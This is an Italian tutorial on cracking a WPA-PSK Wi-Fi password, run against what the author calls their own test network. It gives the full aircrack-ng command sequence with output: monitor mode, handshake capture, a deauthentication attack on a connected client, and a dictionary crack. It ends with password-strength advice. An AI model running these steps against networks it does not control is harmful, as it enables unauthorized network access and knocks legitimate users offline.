Cracking di reti WIFI protette con WPA-PSK
Per fare questo utilizzeremo due programmi: aircrack e kismet. Aircrack è un pacchetto di programmi che permettono di crackare chiavi WEP e WPA, kismet invece ci permette di sniffare il traffico WIFI nell'aria.
Cominciamo installando i programmi.
root@argo:~# apt-get install aircrack-ng kismetOra la vostra linuxbox è pronta per cominciare. Mettetevi comodi e facciamo un rapido controllo delle reti WIFI disponibili nei dintorni:
root@argo:~# iwlist wlan0 scanningLa rete "default" è una wlan che ho approntato ad hoc per questo esempio, con un mio router e un mio access point. Non sto crackando la rete a nessuno, anche se potrei farlo volendo. :-)
wlan0 Scan completed :
Cell 01 - Address: 00:19:5B:54:C0:68
ESSID:"default"
Mode:Master
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=99/100 Signal level:-24 dBm Noise level=-81 dBm
Encryption key:on
IE: Unknown: 000764656661756C74
IE: Unknown: 010882848B960C121824
IE: Unknown: 030106
IE: Unknown: 2A0100
IE: Unknown: 32043048606C
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000000eadcd9b
Extra: Last beacon: 200ms ago
Impostiamo la scheda WIFI in modalità "monitor". Questa modalità ci permetterà di sniffare le onde radio nell'etere e di analizzarle. Con questo comando vengono anche controllati i processi che potrebbero interferire durante le operazioni.
root@argo:~# airmon-ng start wifi0Sono stati trovati due processi, NetworkManager e wpa_supplicant, che potrebbero dar fastidio. Airmon ha una funzione per killare questi processi.
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2722 NetworkManager
2745 wpa_supplicant
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
root@argo:~# airmon-ng check killControlliamo quindi che tutto sia andato a buon fine, facciamo un check e riabilitiamo l'interfaccia.
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
2722 NetworkManager
2745 wpa_supplicant
Killing all those processes...
root@argo:~# airmon-ng checkIl comando airmon-ng senza parametri ci mostra le interfacce abilitate, e ci conferma che la wlan0 è correttamente impostata.
root@argo:~# airmon-ng start wifi0
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
root@argo:~# airmon-ng
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
Mettiamoci quindi a sniffare l'etere in cerca di informazioni sulla nostra rete.
root@argo:~# airodump-ng wlan0Troviamo l'access point "default" attivo sul canale 6, viene mostrato il MAC address e un altro po' di informazioni. In una condizione normale potrebbe capitare di trovare più reti disponibili, e client connessi alle varie WLAN. Mettiamo quindi un filtro sul MAC address della nostra WLAN e aspettiamo che qualcuno si connetta. Tutti i pacchetti da qui in avanti verranno raccolti in file per essere successivamente analizzati.
CH 2 ][ BAT: 1 hour 17 mins ][ Elapsed: 12 s ][ 2009-07-30 21:05
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:5B:54:C0:68 -61 85 0 0 6 54 WPA TKIP PSK default
BSSID STATION PWR Rate Lost Packets Probes
root@argo:/home/tsbrego/aircrack# airodump-ng -c 6 -w psk --bssid 00:19:5B:54:C0:68 wlan0Troviamo finalmente un client collegato alla rete (grazie Enea!). Apriamo quindi una nuova shell e, con aireplay, mandiamo dei pacchetti di deautenticazione al client, il quale si disconnetterà e tenterà di ricollegarsi alla rete. E' qui che verrà passata, crittografata, la password di accesso alla rete e sono questi i pacchetti che ci interessano per i nostri scopi.
CH 6 ][ BAT: 1 hour 15 mins ][ Elapsed: 4 s ][ 2009-07-30 21:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:5B:54:C0:68 -25 100 47 40 5 6 54 WPA TKIP PSK default
BSSID STATION PWR Rate Lost Packets Probes
00:19:5B:54:C0:68 00:16:6F:4F:A5:D0 -63 54 -48 1536 75
root@argo:~# aireplay-ng -0 3 -a 00:19:5B:54:C0:68 -c 00:16:6F:4F:A5:D0 wlan0Tra i file con i dati raccolti quello che ci interessa è psk-01.cap. Prendiamo il nostro fidato file dizionario.txt e mettiamoci a crackare la password WPA con la forza bruta.
21:18:22 Waiting for beacon frame (BSSID: 00:19:5B:54:C0:68) on channel 6
21:18:23 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 2 ACKs]
21:18:23 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 4 ACKs]
21:18:24 Sending 64 directed DeAuth. STMAC: [00:16:6F:4F:A5:D0] [ 0| 2 ACKs]
root@argo:/home/tsbrego/aircrack# aircrack-ng -w dizionario.txt -b 00:19:5B:54:C0:68 psk-01.capEt voilà. Password trovata: p4ssw0rd.
Aircrack-ng 1.0 rc3
[00:00:00] 4 keys tested (39.33 k/s)
KEY FOUND! [ p4ssw0rd ]
Master Key : 3A 89 42 2A 28 90 4C A7 40 27 E4 77 D4 8A 60 DF
87 76 3B B0 E5 10 90 0F 7A 62 6D A1 89 EC AA 4F
Transient Key : E2 F4 80 2F 01 E1 99 21 8D AA 71 F1 61 B1 43 42
36 F8 A5 8A CE 58 D8 94 5B 03 95 F4 12 E1 CC 01
FE 1C 76 AD F3 CC C7 4C CD 7F 7C 0B 95 7E AF 91
84 C3 C9 53 4E B3 47 32 D1 37 C3 C9 82 AE 41 BB
EAPOL HMAC : D4 D8 8F 62 93 84 FD 97 49 28 76 A7 98 B9 A0 1D
E' chiaro che l'unico punto debole di questo sistema, per ora, è la password e che prerequisito per accedere alla rete è avere un buon dizionario che contenga tra le altre anche la password giusta. Nel mio caso, visto che conoscevo la password, mi ero preparato un file dizionario.txt che ha trovato la password al quarto tentativo.
Tenendo presente che un dizionario che contenga tutte le password da 10 caratteri con numeri e lettere solo in minuscolo pesa almeno 500 gb, se vogliamo rendere la nostra rete sicura possiamo dare una password di almeno 15 caratteri alfanumerici case sensitive e in linea di massima dormiamo sonni tranquilli. Più la password è lunga, più la rete è sicura. E' anche il caso di cambiare periodicamente la password, così da vanificare il lavoro certosino di chi vuole la nostra rete.
Tra i router out of the box forniti dai provider spicca Alice con una password di 24 caratteri, quindi molto sicura, mentre i router fastweb di default ne hanno 10.
E' chiaro che la prima cosa da fare appena acceso il proprio router wifi nuovo fiammante è andare a cambiare la password predefinita con una nuova. Ci sono gruppi di appassionati che cercano di trovare l'algoritmo per trovare la password predefinita dal produttore partendo dal MAC address, che è una informazione liberamente accessibile. Per ora sembra che nessuno ci sia riuscito, ma è meglio non rischiare.

